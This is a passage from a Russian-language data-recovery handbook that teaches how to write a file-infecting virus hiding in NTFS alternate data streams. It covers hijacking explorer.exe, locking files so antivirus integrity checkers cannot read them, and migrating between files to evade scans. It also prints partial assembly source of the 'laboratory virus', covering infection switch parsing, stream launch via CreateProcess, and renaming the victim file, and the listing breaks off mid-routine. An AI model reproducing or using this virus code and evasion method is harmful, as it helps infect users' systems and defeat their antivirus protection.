Восстановление данных. Практическое руководство
Рис. 6.5. Архиватор RAR способен сохранять файловые потоки в процессе архивации
Существует и другая проблема. Windows блокирует доступ ко всем открытым файлам, и попытка внедрения в них обречена на неудачу. Тем не менее, выход из этого положения существует. Заблокированный файл нельзя открыть, но можно переименовать. Возьмем, например, explorer.exe, и переименуем его, например, в foo. Затем создадим новый файл с точно таким же именем, в основном потоке которого поместим вирусное тело, а прежний explorer.exe скопируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe, и файл foo будет можно удалить.
ПримечаниеВообще говоря, переименованный файл можно и не удалять. Правда, в этом случае он может привлечь внимание бдительного пользователя или антивирусного ревизора.
Теперь настал момент поговорить об антивирусных ревизорах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусных программ. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от
со сброшенным флагомCreateFileдоdwShareMode/LockFile. Подробнее об этом можно прочитать в Platform SDK.LockFileExОсновная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не сотрет. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания — тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича (http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.
Программный код вирусаЕстественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.
В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.
Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса
section '.code' code readable executablestart:; Удаляем временный файлpush foocall [DeleteFile]; Определяем наше имяpush 1000push bufpush 0call [GetModuleFileName]; Считываем командную строку; Ключ filename - заразитьcall [GetCommandLine]mov ebp, eaxxor ebx, ebxmov ecx, 202A2D2Dh ;rool:cmp [eax], ecx ; это '--*'?jz infectinc eaxcmp [eax], ebx ; Конец командной строки?jnz rool; Выводим диагностическое сообщение,; подтверждая свое присутствие в файлеpush 0push aInfectedpush aHellopush 0call [MessageBox]; Добавляем к своему имени имя потока NTFSmov esi, code_namemov edi, bufmov ecx, 100; сode_name_end - code_namexor eax,eaxrepne scasbdec edirep movsb; Запускаем поток NTFS на выполнениеpush xxxpush xxxpush eaxpush eaxpush eaxpush eaxpush eaxpush eaxpush ebppush bufcall [CreateProcess]jmp go2exit ; Выходим из вирусаinfect:; Устанавливаем eax на первый символ имени файла-жертвы; (далее по тексту dst)add eax, 4xchg eax, ebpxor eax,eaxinc eax; Здесь можно вставить проверку dst на заражение; Переименовываем dst в foopush foo
